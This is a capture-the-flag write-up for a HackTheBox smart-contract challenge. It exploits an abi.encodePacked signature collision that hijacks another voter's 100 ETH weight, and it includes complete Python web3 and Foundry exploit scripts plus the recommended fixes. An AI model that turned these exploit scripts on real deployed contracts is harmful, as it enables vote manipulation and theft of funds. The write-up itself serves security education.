$ cat writeup.md…
$ cat writeup.md…
HackTheBox
In the post-apocalyptic wasteland, the remnants of human and machine factions vie for control over the last vestiges of civilization. The Automata Liberation Front (ALF) and the Cyborgs Independence Movement (CIM) are the two primary parties seeking to establish dominance. In this harsh and desolate
In the post-apocalyptic wasteland, the remnants of human and machine factions vie for control over the last vestiges of civilization. The Automata Liberation Front (ALF) and the Cyborgs Independence Movement (CIM) are the two primary parties seeking to establish dominance. In this harsh and desolate world, democracy has taken a backseat, and power is conveyed by wealth. Will you be able to bring back some Democracy in this hopeless land?
Goal: Make CIM win the election (reach 1000e18 votes)
Two contracts are provided:
mapping(bytes3 _id => Party) public parties; // Party info & vote count mapping(bytes _sig => Voter) public voters; // Voter weight by signature mapping(string _name => mapping(string _surname => address _addr)) public uniqueVoters;
abi.encodePacked() Hash CollisionThe critical vulnerability is in the getVoterSig() function:
function getVoterSig(string memory _name, string memory _surname) public pure returns (bytes memory) { return abi.encodePacked(_name, _surname); }
Problem: abi.encodePacked() with multiple dynamic types (strings, bytes) does NOT add length prefixes or delimiters. This causes hash collisions:
abi.encodePacked("Satoshi", "Nakamoto") = "SatoshiNakamoto"
abi.encodePacked("SatoshiNaka", "moto") = "SatoshiNakamoto" // SAME!
abi.encodePacked("S", "atoshiNakamoto") = "SatoshiNakamoto" // SAME!
Setup deposits 100 ETH for "Satoshi" + "Nakamoto":
uniqueVoters["Satoshi"]["Nakamoto"] = Setup.addressvoters["SatoshiNakamoto"].weight = 100e18We register with collision names (e.g., "S" + "atoshiNakamoto"):
uniqueVoters["S"]["atoshiNakamoto"] = our_address (NEW entry)voters["SatoshiNakamoto"].weight += 0 (SAME voter signature!)When we vote, the contract:
uniqueVoters["S"]["atoshiNakamoto"] == msg.sender - PASSESvoters["SatoshiNakamoto"].weight = 100e18 (from original deposit!)10 collision registrations x 100 ETH weight = 1000e18 votes = WIN
All these name/surname pairs produce the same voterSig = "SatoshiNakamoto":
collisions = [ ("S", "atoshiNakamoto"), ("Sa", "toshiNakamoto"), ("Sat", "oshiNakamoto"), ("Sato", "shiNakamoto"), ("Satos", "hiNakamoto"), ("Satosh", "iNakamoto"), ("SatoshiN", "akamoto"), ("SatoshiNa", "kamoto"), ("SatoshiNak", "amoto"), ("SatoshiNaka", "moto"), ]
#!/usr/bin/env python3 """ NotADemocraticElection - abi.encodePacked collision exploit Exploits hash collision to hijack 100 ETH voter weight """ from web3 import Web3 # Connection details from challenge PRIVATE_KEY = "0xaea7d4cd5a32d1f905d5195b5bc1084667b1f76ffd1013fb737ee357a7fc8341" MY_ADDRESS = "0x69d0057fdB88285cB5305F3BfE70AB44876c5899" TARGET_CONTRACT = "0x99ef00677f8E1B01ca4f3E48824a703b51b14F07" RPC_URL = "http://94.237.55.124:46131" # Contract ABI (minimal) ABI = [ { "inputs": [ {"name": "_name", "type": "string"}, {"name": "_surname", "type": "string"} ], "name": "depositVoteCollateral", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [ {"name": "_party", "type": "bytes3"}, {"name": "_name", "type": "string"}, {"name": "_surname", "type": "string"} ], "name": "vote", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "winner", "outputs": [{"name": "", "type": "bytes3"}], "stateMutability": "view", "type": "function" } ] def main(): w3 = Web3(Web3.HTTPProvider(RPC_URL)) assert w3.is_connected(), "Failed to connect to RPC" account = w3.eth.account.from_key(PRIVATE_KEY) target = w3.eth.contract(address=TARGET_CONTRACT, abi=ABI) # All collision pairs for "SatoshiNakamoto" collisions = [ ("S", "atoshiNakamoto"), ("Sa", "toshiNakamoto"), ("Sat", "oshiNakamoto"), ("Sato", "shiNakamoto"), ("Satos", "hiNakamoto"), ("Satosh", "iNakamoto"), ("SatoshiN", "akamoto"), ("SatoshiNa", "kamoto"), ("SatoshiNak", "amoto"), ("SatoshiNaka", "moto"), ] nonce = w3.eth.get_transaction_count(MY_ADDRESS) print("[*] Exploiting abi.encodePacked collision...") print(f"[*] Need 10 votes x 100 ETH = 1000e18 total votes") for i, (name, surname) in enumerate(collisions): print(f"[{i+1}/10] Registering: '{name}' + '{surname}'") # Step 1: Register with collision name (0 ETH deposit) tx = target.functions.depositVoteCollateral(name, surname).build_transaction({ 'from': MY_ADDRESS, 'value': 0, # No deposit needed - we use existing weight! 'gas': 200000, 'gasPrice': w3.eth.gas_price, 'nonce': nonce, 'chainId': w3.eth.chain_id }) signed = account.sign_transaction(tx) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) w3.eth.wait_for_transaction_receipt(tx_hash) nonce += 1 # Step 2: Vote for CIM using hijacked 100 ETH weight tx = target.functions.vote(b'CIM', name, surname).build_transaction({ 'from': MY_ADDRESS, 'value': 0, 'gas': 200000, 'gasPrice': w3.eth.gas_price, 'nonce': nonce, 'chainId': w3.eth.chain_id }) signed = account.sign_transaction(tx) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) w3.eth.wait_for_transaction_receipt(tx_hash) nonce += 1 print(f" Voted for CIM with 100 ETH weight!") # Check winner winner = target.functions.winner().call() print(f"\n[+] Winner: {winner}") if winner == b'CIM': print("[+] SUCCESS! CIM wins the election!") else: print("[-] Failed - CIM did not win") if __name__ == "__main__": main()
// SPDX-License-Identifier: MIT pragma solidity ^0.8.25; import "forge-std/Script.sol"; interface IElection { function depositVoteCollateral(string memory _name, string memory _surname) external payable; function vote(bytes3 _party, string memory _name, string memory _surname) external; function winner() external view returns (bytes3); } contract Exploit is Script { function run() external { vm.startBroadcast(); IElection target = IElection(0x99ef00677f8E1B01ca4f3E48824a703b51b14F07); // Collision pairs string[10] memory names = ["S", "Sa", "Sat", "Sato", "Satos", "Satosh", "SatoshiN", "SatoshiNa", "SatoshiNak", "SatoshiNaka"]; string[10] memory surnames = ["atoshiNakamoto", "toshiNakamoto", "oshiNakamoto", "shiNakamoto", "hiNakamoto", "iNakamoto", "akamoto", "kamoto", "amoto", "moto"]; for (uint i = 0; i < 10; i++) { target.depositVoteCollateral(names[i], surnames[i]); target.vote(bytes3("CIM"), names[i], surnames[i]); } require(target.winner() == bytes3("CIM"), "CIM should win"); vm.stopBroadcast(); } }
abi.encode() insteadfunction getVoterSig(string memory _name, string memory _surname) public pure returns (bytes memory) { return abi.encode(_name, _surname); // Adds length prefixes! }
function getVoterSig(string memory _name, string memory _surname) public pure returns (bytes memory) { return abi.encodePacked(_name, "|", _surname); }
function getVoterSig(string memory _name, string memory _surname) public pure returns (bytes32) { return keccak256(abi.encode(_name, _surname)); }
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar